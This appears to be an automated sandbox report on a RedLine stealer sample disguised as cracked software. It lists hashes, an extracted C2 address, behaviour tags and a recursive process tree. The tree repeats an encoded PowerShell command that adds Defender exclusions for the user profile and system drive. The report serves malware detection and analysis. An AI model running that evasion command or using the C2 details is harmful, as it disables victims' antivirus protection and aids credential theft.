Analysis
-
max time kernel
11s -
max time network
267s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
30-11-2024 18:17
Static task
static1
Behavioral task
behavioral1
Sample
RogueV6.3cracked.exe
Resource
win11-20241007-en
General
-
Target
RogueV6.3cracked.exe
-
Size
13.6MB
-
MD5
ed475b5614b57bb769d9475bab408bb2
-
SHA1
a4496180da8930ea4b50f6b7e08e48cf4d093a43
-
SHA256
d4bae32272d4b78710e2546c787a5301135cdc3bbc89dde41fc32b5ff1b1374b
-
SHA512
88842132f2a486a34b4766d4b0092856fc3313895612f8aa613914acb5d32114ee033744c473b9ab28ec5f9f3e6e31980c85139f9f7dafdc4614b67f496403ce
-
SSDEEP
196608:/Qx1aFKgrjL4HwYJTPV+abRdGHMICWi0fNkn6zTetKvIy5nQmy:/Y1EDjL4QYJTQabRdGHvCWi0l6O+Kw
Malware Config
Extracted
redline
NOu
135.236.153.9:1912
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 2 IoCs
resource yara_rule behavioral1/files/0x001c00000002aa81-4.dat family_redline behavioral1/memory/4376-14-0x0000000000420000-0x0000000000472000-memory.dmp family_redline -
Redline family
-
Executes dropped EXE 10 IoCs
pid Process 4376 build (4).exe 4476 build (4).exe 3212 build (4).exe 1148 build (4).exe 1612 build (4).exe 3972 build (4).exe 4828 build (4).exe 816 build (4).exe 2908 build (4).exe 4904 build (4).exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 30 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build (4).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build (4).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build (4).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build (4).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build (4).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build (4).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build (4).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build (4).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build (4).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build (4).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RogueV6.3cracked.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 4196 powershell.exe 4644 powershell.exe 4196 powershell.exe 3372 powershell.exe 4644 powershell.exe 1364 powershell.exe 3372 powershell.exe 1328 powershell.exe 1364 powershell.exe 3660 powershell.exe 3332 powershell.exe 3332 powershell.exe 1328 powershell.exe 1328 powershell.exe 3224 powershell.exe 3224 powershell.exe 3660 powershell.exe 3660 powershell.exe 1188 powershell.exe 1188 powershell.exe 3332 powershell.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
description pid Process Token: SeDebugPrivilege 4196 powershell.exe Token: SeDebugPrivilege 4644 powershell.exe Token: SeDebugPrivilege 3372 powershell.exe Token: SeDebugPrivilege 1364 powershell.exe Token: SeDebugPrivilege 1328 powershell.exe Token: SeDebugPrivilege 3660 powershell.exe Token: SeDebugPrivilege 3332 powershell.exe Token: SeDebugPrivilege 3224 powershell.exe Token: SeDebugPrivilege 1188 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4860 wrote to memory of 4196 4860 RogueV6.3cracked.exe 77 PID 4860 wrote to memory of 4196 4860 RogueV6.3cracked.exe 77 PID 4860 wrote to memory of 4196 4860 RogueV6.3cracked.exe 77 PID 4860 wrote to memory of 4376 4860 RogueV6.3cracked.exe 79 PID 4860 wrote to memory of 4376 4860 RogueV6.3cracked.exe 79 PID 4860 wrote to memory of 4376 4860 RogueV6.3cracked.exe 79 PID 4860 wrote to memory of 3492 4860 RogueV6.3cracked.exe 80 PID 4860 wrote to memory of 3492 4860 RogueV6.3cracked.exe 80 PID 4860 wrote to memory of 3492 4860 RogueV6.3cracked.exe 80 PID 3492 wrote to memory of 4644 3492 RogueV6.3cracked.exe 81 PID 3492 wrote to memory of 4644 3492 RogueV6.3cracked.exe 81 PID 3492 wrote to memory of 4644 3492 RogueV6.3cracked.exe 81 PID 3492 wrote to memory of 4476 3492 RogueV6.3cracked.exe 83 PID 3492 wrote to memory of 4476 3492 RogueV6.3cracked.exe 83 PID 3492 wrote to memory of 4476 3492 RogueV6.3cracked.exe 83 PID 3492 wrote to memory of 852 3492 RogueV6.3cracked.exe 84 PID 3492 wrote to memory of 852 3492 RogueV6.3cracked.exe 84 PID 3492 wrote to memory of 852 3492 RogueV6.3cracked.exe 84 PID 852 wrote to memory of 3372 852 RogueV6.3cracked.exe 85 PID 852 wrote to memory of 3372 852 RogueV6.3cracked.exe 85 PID 852 wrote to memory of 3372 852 RogueV6.3cracked.exe 85 PID 852 wrote to memory of 3212 852 RogueV6.3cracked.exe 86 PID 852 wrote to memory of 3212 852 RogueV6.3cracked.exe 86 PID 852 wrote to memory of 3212 852 RogueV6.3cracked.exe 86 PID 852 wrote to memory of 2832 852 RogueV6.3cracked.exe 88 PID 852 wrote to memory of 2832 852 RogueV6.3cracked.exe 88 PID 852 wrote to memory of 2832 852 RogueV6.3cracked.exe 88 PID 2832 wrote to memory of 1364 2832 RogueV6.3cracked.exe 89 PID 2832 wrote to memory of 1364 2832 RogueV6.3cracked.exe 89 PID 2832 wrote to memory of 1364 2832 RogueV6.3cracked.exe 89 PID 2832 wrote to memory of 1148 2832 RogueV6.3cracked.exe 90 PID 2832 wrote to memory of 1148 2832 RogueV6.3cracked.exe 90 PID 2832 wrote to memory of 1148 2832 RogueV6.3cracked.exe 90 PID 2832 wrote to memory of 2512 2832 RogueV6.3cracked.exe 92 PID 2832 wrote to memory of 2512 2832 RogueV6.3cracked.exe 92 PID 2832 wrote to memory of 2512 2832 RogueV6.3cracked.exe 92 PID 2512 wrote to memory of 1328 2512 RogueV6.3cracked.exe 93 PID 2512 wrote to memory of 1328 2512 RogueV6.3cracked.exe 93 PID 2512 wrote to memory of 1328 2512 RogueV6.3cracked.exe 93 PID 2512 wrote to memory of 1612 2512 RogueV6.3cracked.exe 94 PID 2512 wrote to memory of 1612 2512 RogueV6.3cracked.exe 94 PID 2512 wrote to memory of 1612 2512 RogueV6.3cracked.exe 94 PID 2512 wrote to memory of 3184 2512 RogueV6.3cracked.exe 96 PID 2512 wrote to memory of 3184 2512 RogueV6.3cracked.exe 96 PID 2512 wrote to memory of 3184 2512 RogueV6.3cracked.exe 96 PID 3184 wrote to memory of 3660 3184 RogueV6.3cracked.exe 97 PID 3184 wrote to memory of 3660 3184 RogueV6.3cracked.exe 97 PID 3184 wrote to memory of 3660 3184 RogueV6.3cracked.exe 97 PID 3184 wrote to memory of 3972 3184 RogueV6.3cracked.exe 98 PID 3184 wrote to memory of 3972 3184 RogueV6.3cracked.exe 98 PID 3184 wrote to memory of 3972 3184 RogueV6.3cracked.exe 98 PID 3184 wrote to memory of 4628 3184 RogueV6.3cracked.exe 100 PID 3184 wrote to memory of 4628 3184 RogueV6.3cracked.exe 100 PID 3184 wrote to memory of 4628 3184 RogueV6.3cracked.exe 100 PID 4628 wrote to memory of 3332 4628 RogueV6.3cracked.exe 101 PID 4628 wrote to memory of 3332 4628 RogueV6.3cracked.exe 101 PID 4628 wrote to memory of 3332 4628 RogueV6.3cracked.exe 101 PID 4628 wrote to memory of 4828 4628 RogueV6.3cracked.exe 102 PID 4628 wrote to memory of 4828 4628 RogueV6.3cracked.exe 102 PID 4628 wrote to memory of 4828 4628 RogueV6.3cracked.exe 102 PID 4628 wrote to memory of 2640 4628 RogueV6.3cracked.exe 104 PID 4628 wrote to memory of 2640 4628 RogueV6.3cracked.exe 104 PID 4628 wrote to memory of 2640 4628 RogueV6.3cracked.exe 104 PID 2640 wrote to memory of 3224 2640 RogueV6.3cracked.exe 105
Processes
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4196
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4376
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4644
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4476
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:852 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3372
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3212
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1364
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1148
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1328
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1612
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"6⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3184 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="7⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3660
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3972
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"7⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="8⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3332
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4828
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"8⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="9⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3224
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"9⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:816
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"9⤵
- System Location Discovery: System Language Discovery
PID:4768 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="10⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1188
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"10⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2908
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"10⤵
- System Location Discovery: System Language Discovery
PID:1056 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="11⤵PID:2940
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"11⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4904
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"11⤵
- System Location Discovery: System Language Discovery
PID:2372 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="12⤵PID:3364
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"12⤵PID:3028
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"12⤵PID:4032
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="13⤵PID:1332
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"13⤵PID:640
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"13⤵PID:644
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="14⤵PID:2308
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"14⤵PID:4020
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"14⤵PID:4296
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="15⤵PID:3236
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"15⤵PID:3268
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"15⤵PID:4836
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="16⤵PID:4940
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"16⤵PID:1972
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"16⤵PID:2404
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAZgB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAdgBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAZgBtACMAPgA="17⤵PID:480
-
-
C:\Users\Admin\AppData\Local\Temp\build (4).exe"C:\Users\Admin\AppData\Local\Temp\build (4).exe"17⤵PID:1104
-
-
C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"C:\Users\Admin\AppData\Local\Temp\RogueV6.3cracked.exe"17⤵PID:3612
-
